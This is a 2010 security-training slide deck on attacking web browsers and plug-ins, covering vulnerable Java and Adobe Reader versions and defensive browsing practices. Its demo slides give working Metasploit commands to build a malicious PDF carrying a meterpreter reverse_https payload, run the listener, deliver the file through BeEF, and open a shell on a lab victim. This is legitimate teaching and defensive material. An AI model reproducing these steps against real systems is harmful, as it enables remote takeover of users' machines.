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Outline 

•  On previous episodes… 
•  Top vulnerable applications 2010  

– Java (& multiple exploits) 
– Adobe Reader (& HTTPS listener) 

•  Updating to BeEF 0.4.1-alpha (& 0.4.2-
alpha) on Samurai 0.9 

•  Web browsing best practices 
•  References 
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On Previous Episodes… 

•  “Browser exploitation for fun and profit” 
– SANS webcast (recorded) on Nov 2, 2010 

Disclaimer: [Lots of issues… be ready for the worse ] 

•  The web browser (and its plug-ins) are the target 
nowadays & XSS is undervalued 

•  Web application pen-tester setup & Demos 
–  Samurai WTF & BeEF & Metasploit 

•  Best practices & References 
http://blog.taddong.com/2010/11/browser-exploitation-for-fun-profit.html 

http://www.sans.org/info/65488 
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Can My Browser Be Attacked? 

•  You only need to visit 
a single malicious web 
page… and be 
vulnerable to a single 
flaw… on your web 
browser or any of the 
installed plug-ins or 
add-ons… and … 

•  Drive-by-XSS 
Lots of attack vectors… such as XSS 

Trusted websites 
attacking you 
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Top Vulnerable Applications 2010 (1) 

•  Most vulnerable client applications 
– Bit9: 2010 Q1-Q3 
– Critical vulnerabilities (NIST: 7.0-10.0 CVSS) 
– Disclosed before or after the updates? 
–  ! (Time to fix or if exploited in the wild) 

•  Register & provide your personal data  or 
–  http://www.bit9.com/files/Research_Vulnerable_Apps_2010_FINAL.pdf 

http://www.bit9.com/landing/vulnapps2010/ 
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Top Vulnerable Applications 2010 (2) 

 Google Chrome (76) – WANTED (rewards)!
Apple Safari (60)  
Microsoft Office (57)  
Adobe Reader & Acrobat (54)  
Mozilla Firefox (51)  
Sun Java Development Kit (36)  
Adobe Shockwave Player (35)  
Microsoft Internet Explorer (32)  
RealNetworks RealPlayer (14)  
Apple WebKit (9) – Safari & Chrome 
Adobe Flash Player (8)  
Apple QuickTime (6) 
 Opera (6)  

Multi-platform 
client applications 
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Java 
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Java Exploited in The Wild 
(ISC Diary: 2010-11-11) 

•  Java CPU October 2010 – 29 vulns 
– Java6U22 & Java5U26 & Java 1.4.2_28 

•  Most popular issues listed on java.com: 
–  “Virus found in the Java cache directory” 

•  CVE-2010-0840 (March 31, 2010) 
– ≈ MSF exploit (< J6U19) 

•  multi/browser/java_trusted_chain 
– Drive-by exploits/downloads 

•  VT: 14/43 
http://isc.sans.edu/diary.html?storyid=9916 
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What is the Real Trend? 

Most popular issues featuring on 
Java.com…   

 Nov 11, 2010   Nov 26, 2010 

http://www.java.com/en/download/help/index.xml 
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It Can Be Even Worse… 

•  How many Java versions do you currently 
have installed? (Not any more…)  

•  Is the latest version available for your OS?  
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MMPC: Microsoft Malware 
Protection Center 

•  Microsoft: “...an 
unprecedented 
wave of Java 
exploitation” 
– CVE-2008-5353 
– CVE-2009-3867 
– CVE-2010-0094 

http://blogs.technet.com/b/mmpc/archive/
2010/10/18/have-you-checked-the-java.aspx 
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Blackhole Kit (Exploit Pack) 

http://krebsonsecurity.com/2010/10/java-a-gift-to-exploit-pack-makers/ 
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Sploit Packs: SEO, Crimepack, Eleonor 

http://krebsonsecurity.com/2010/08/crimepack-packed-with-hard-lessons/ 
http://krebsonsecurity.com/2010/05/revisiting-the-eleonore-exploit-kit/ 

CVE-2010-0886 
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DEMOS 
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Exploiting Java  
CVE-2010-0094 

•  Vulnerability details & demo on previous episode 
•  Java RMIConnectionImpl Deserialization 

Privilege Escalation Exploit (CVE-2010-0094) 
•  Java 6 Update <19 
•  Exploit requirements: 

– Define a value for URIPATH  
 Example: “java” 

– Avoid SRVPORT conflicts (in Samurai 0.9) 
 Example: TCP/8888 (default is TCP/8080) 

exploit/multi/browser/java_rmi_connection_impl 
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Exploiting Java 
CVE-2010-0886 

•  All vulnerability details are on previous episode 
(pending demonstration) 
–  Java 6 Update (10 =< x <= 19) 

•  Exploit requirements: 
–  Metasploit running as root (sudo) 
–  SMB not running on pen-tester system 
–  WebClient (WebDAV Mini-Redirector) running on 

target (by default) 
–  WEBDAV requires SRVPORT=80 and URIPATH=/ 

(BeEF is running there!!) 

exploit/windows/browser/java_ws_arginject_altjvm 
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Common Java Exploits in Sploit 
Packs 

•  Java GIF file parsing vulnerability (CVE-2007-0243) 
•  Sun Java Calendar Deserialization (CVE-2008-5353) 
•  JRE getSoundBank Stack BOF (CVE-2009-3867) 
•  Java RMIConnectionImpl Object Deserialization 

(CVE-2010-0094) 
•  Java Web Start (CVE-2010-0886) 
•  Java Trusted Method Chaining (CVE-2010-0840) 
•  Java Deployment Toolkit Remote Argument Injection 

Vulnerability (CVE-2010-1423) 

http://blog.sharpesecurity.com/2010/10/25/list-of-
currently-exploited-sun-java-vulnerabilities/ 
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Adobe Reader 

And Now…  
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Adobe Reader 
File Format Exploits 

•  Adobe Acrobat Bundled LibTIFF Integer 
Overflow (CVE-2010-0188) 

•  Adobe Reader <= 9.3.0 (WinXP w/DEP) 
•  Exploit requirements: 

–  It is not a web-based browser exploit… but we 
will convert this file format module into it! 

– Thanks to XSS & browser request module 
– Same scenario with Core Impact & others 

exploit/windows/fileformat/adobe_libtiff 

20 Copyright © 2010 Taddong S.L.       www.taddong.com   

Adobe Reader 
adobe_libtiff Exploit 

$ /usr/bin/samurai/msf3/msfconsole 
msf > use exploit/windows/fileformat/adobe_libtiff  
msf exploit(adobe_libtiff) > set FILENAME report.pdf 
msf exploit(adobe_libtiff) > set OUTPUTPATH /tmp 
msf exploit(adobe_libtiff) > set PAYLOAD windows/meterpreter/

reverse_https  
msf exploit(adobe_libtiff) > set LHOST 192.168.1.43 
msf exploit(adobe_libtiff) > set LPORT 443 
msf exploit(adobe_libtiff) > set TARGETID 9876 
msf exploit(adobe_libtiff) > exploit 

[*] Creating 'report.pdf' file... 
[*] Generated output file /tmp/report.pdf 
[*] Exploit completed, but no session was created. 
msf exploit(adobe_libtiff) > 

$ cd /var/www/test 
$ ls -l /tmp/report.pdf  
$ sudo mv /tmp/report.pdf ./ 
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Metasploit Meterpreter 
reverse_https Listener (1) 

•  MSF modification required to listen on a 
specific IP address (by default 0.0.0.0) 

•  Use script from the Samurai SVN repo: 
$ cd /tmp 
$ mkdir svn 
$ cd svn 
$ svn co https://samurai.svn.sourceforge.net/svnroot/

samurai/trunk/misc misc 
... 
A    misc/change_msf3_reverse_https_bindings.sh 
... 
$ cd misc 
$ 
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Metasploit Meterpreter 
reverse_https Listener (2) 

$ ./change_msf3_reverse_https_bindings.sh  
Enter the IP address where the msf3 reverse_https handler will listen 

on: 
192.168.1.43 

Setting IP address (192.168.1.43) on reverse_https.rb... 
Creating a backup copy of the oiriginal config file... (sudo) 
[sudo] password for samurai:  
Copying modified config files... 

You can restore the default configuration by running: 
$ sudo cp /usr/bin/samurai/msf3/lib/msf/core/handler/

reverse_https.rb.original /usr/bin/samurai/msf3/lib/msf/core/
handler/reverse_https.rb 

•  The script changes the binding to an 
specific IP address (e.g. 192.168.1.43): 
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Metasploit Meterpreter 
reverse_https Listener (3) 

$ sudo /usr/bin/samurai/msf3/msfconsole -r 
handler_reverse_https.script  

> use exploit/multi/handler 
> set PAYLOAD windows/meterpreter/reverse_https 
> set LPORT 443 
> set LHOST 192.168.1.43 
> set ExitOnSession false 
> set TARGETID 9876 

> exploit -j 
[*] Exploit running as background job. 

[*] Started HTTPS reverse handler on https://192.168.1.43:443/ 
[*] Starting the payload handler... 
msf exploit(handler) >  

•  Run the listener and wait for the exploit… 
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Manual Requests From The Victim 
Web Browser 

•  From BeEF, manual browser request to: 
– http://192.168.1.42/test/report.pdf 

http://192.168.1.42/test/report.pdf  
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The Long-Awaited Meterpreter 
Reverse Connection 

msf exploit(handler) >  
[*] 192.168.1.9:4560 Request received for /A9876... 
[*] 192.168.1.9:4560 Staging connection for target 9876 received... 
[*] Patching Target ID 9876 into DLL 
[*] 192.168.1.9:4561 Request received for /B9876... 
[*] 192.168.1.9:4561 Stage connection for target 9876 received... 
[*] Meterpreter session 1 opened (192.168.1.43:443 -> 

192.168.1.9:4561) at Wed Nov 03 20:38:22 +0100 2010 

msf exploit(handler) > sessions –i 1 
[*] Starting interaction with 1... 

meterpreter > sysinfo 
Computer: CLIENT-VICTIM 
OS      : Windows XP (Build 2600, Service Pack 3). 
Arch    : x86 
Language: en_US 
meterpreter > getuid 
Server username: CLIENT-VICTIM\Administrator 
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More Adobe Reader Fun… (1) 

Additional Adobe Reader MSF modules: 
•  exploit/windows/browser/adobe_jbig2decode 

–  Adobe Reader & Acrobat <= 9.0.0 

•  exploit/windows/browser/adobe_geticon 
–  Adobe Reader & Acrobat < 9.1  

•  exploit/multi/fileformat/adobe_u3d_meshcont 
–  Adobe Reader & Acrobat < 9.2  

•  exploit/windows/browser/adobe_flatedecode_predictor02 
–  Adobe Reader & Acrobat < 9.2  

•  exploit/windows/browser/adobe_media_newplayer 
–  Adobe Reader & Acrobat <= 9.2 
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More Adobe Reader Fun… (2) 

Additional Adobe Reader MSF modules: (cont) 
•  exploit/windows/fileformat/adobe_u3d_meshdecl 

–  Adobe Reader < 9.3 

•  exploit/windows/browser/adobe_cooltype_sing 
–  Adobe Reader 9.3.4 

•  exploit/windows/fileformat/adobe_pdf_embedded_exe 
–  Any version (social engineering) 

•  exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs 
–  Any version (social engineering) – No JavaScript 

•  … and even more exploits for Adobe Reader and Adobe 
Acrobat 8.1.x 
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Updating to BeEF 0.4.1-alpha (& 
0.4.2-alpha) on Samurai 0.9 
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Updating BeEF on Samurai 0.9 

•  Updating to the latest BeEF version (new 
Ruby-based version): 0.4.1-alpha 
$ cd /tmp 
$ svn co https://beef.googlecode.com/svn/tags/0.4.1-

alpha  beef-0.4.1-alpha 

$ cd /var/www/ 
$ sudo mv /tmp/beef-0.4.1-alpha . 
$ sudo chown –R www-data:www-data beef-0.4.1-alpha 

$ less beef-0.4.1-alpha/INSTALL  
... 

Change ownership to www-data 
because we are used to it  

It is not required at all and BeEF 
could be owned and run by 

samurai 
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Installing BeEF on Samurai 0.9 

•  Installing BeEF: 0.4.1-alpha 
$ sudo apt-get install libsqlite3-dev sqlite3 sqlite3-

doc 
$ cd /var/www/beef-0.4.1-alpha 
$ ruby install.rb  
... 
1) Install all required gems automatically 
... 
$ sudo vi config.ini 
ui_username=“beefy” 
ui_password=“BeEFConfigSecret” 
$ sudo ruby beef.rb 

Required gems: sudo gem install ansi dm-core data_objects 
do_sqlite3 sqlite3-ruby dm-sqlite-adapter parseconfig erubis dm-

migrations && sudo gem install json -v1.4.2 

sudo is required because the sqlite 
DB files are owned by www-data 

and not samurai. 
Run it as www-data instead  
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Updating BeEF to 0.4.2+ 

•  Updating to the latest BeEF version 
(Ruby-based): 0.4.2-alpha (main trunk) 
$ cd /tmp 
$ svn co https://beef.googlecode.com/svn/trunk 

beef-0.4.2-alpha 
$ cd /var/www/ 
$ sudo mv /tmp/beef-0.4.2-alpha . 
$ sudo chown -R www-data:www-data beef-0.4.2-alpha 
$ cd /var/www/beef-0.4.2-alpha 
$ ruby install.rb  
$ sudo vi config.ini 
ui_username=“beefy” 
ui_password=“BeEFConfigSecret” 
http_host=“192.168.1.42” 
http_port=“8080” 
$ sudo –u www-data ruby beef.rb 

Change default IP address & port 
(!= 3000) 

Run BeEF as www-data… 
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BeEF 0.4.1-alpha (& 0.4.2-alpha)
Default Configuration 

•  Defaults in 0.4.1-alpha 
–  Username/password: beef/beef 
–  IP: 127.0.0.1 (localhost) 
–  Port: 3000 
–  Panel path: /ui/panel 
–  Demos path: /demos/basic.html 
–  Hook file: /hook.js 

•  Plus… 0.4.2-alpha 
–  Permitted hooking and UI subnet(s) 
–  (HTTP) public IP (behind NAT) 
–  Hook session name and cookie name 
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New BeEF Interface 
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Web Browsing Best Practices 
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NO Surfing 
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Web Browsing Best Practices (1) 

•  Do not browse the web, or open PDF files, 
or get out to the street, or wake up in the 
morning  … seriously, they say so! 

•  Update your client software 
– Vulnerability alerts (manual updates) 
– Review auto update cycles (e.g. Java checks 

for updates on the 14th day of every month) 
•  Install the latest updates before they are 

released : 0-days & waiting 4 patch-day 
– Web browser(s) & plug-in(s) 
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Web Browsing Best Practices (2) 

•  Browse the web with a regular user 
– Avoid Administrator/root (or Domain Admin ) 

•  Selectively and (at least) temporarily 
disable the unneeded plugins 
–  FFox: Tools – Add-ons – Plugins = Disable 
–  IE: Tools – Manage Add-ons = Disable 
–  Chrome: Options – Advanced – Content… OR about:plugins 
–  Safari: Preferences – Security – Enable plug-ins [x] 
–  Opera:  

•  Settings – Quick Preferences – Enable Plug-ins [x] 
•  Menu – Settings – Preferences – Advanced – Content - 

Plugin Options 
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Web Browsing Best Practices (3) 

•  Secunia Personal Software Inspector (PSI) 
– http://secunia.com/vulnerability_scanning/

personal/ 
•  FileHippo.com Update Checker: 

– http://www.filehippo.com/updatechecker/ 
•  New plug-in health check services 

– Firefox: https://www.mozilla.com/plugincheck/ 
– Qualys: https://browsercheck.qualys.com 

WARNING: All the details are send to the 3rd-party Co 
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Web Browsing Best Practices (4) 

•  “Isolation” between web browser instances  
•  Virtual & protected browsing environments 

–  “Standard” Windows browsing box: Run Firefox
+NoScript (FFox add-on), or your browser of choice, 
inside Sandboxie (or similar SW) on an updated 
snapshot of a hardened Windows-based VM   

Use different web browsers for != tasks/actions 

–  “Protected” browsing box: (e.g. 
e-banking) Run your browser of 
choice from a clean & updated & 
hardened VM snapshots that has 
never connected to the Internet… 
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Web Browsing Best Practices (5) 

•  Adobe Reader X 
–  Adobe Reader Protected Mode 
–  Sandboxing technology (confined exec env) 

•  Google Chrome, MS Office (2007 & 2010) 
–  Stronger protection on Windows Vista, 7, and Server 

2008 (low integrity level) 
–  Malicious PDF techniques comparison required to 

exploit Adobe Reader 9 vs. X 
–  An ambitious project on a live & complex application 
–  Other SW vendors must learn the lesson! 

http://blogs.adobe.com/asset/2010/10/ & /2010/11/ 
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Questions?  

raul@taddong.com 

www.taddong.com  
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•  Web: www.taddong.com 
•  Blog: blog.taddong.com 
•  Twitter: @taddong 

•  Raul Siles: raul@taddong.com 


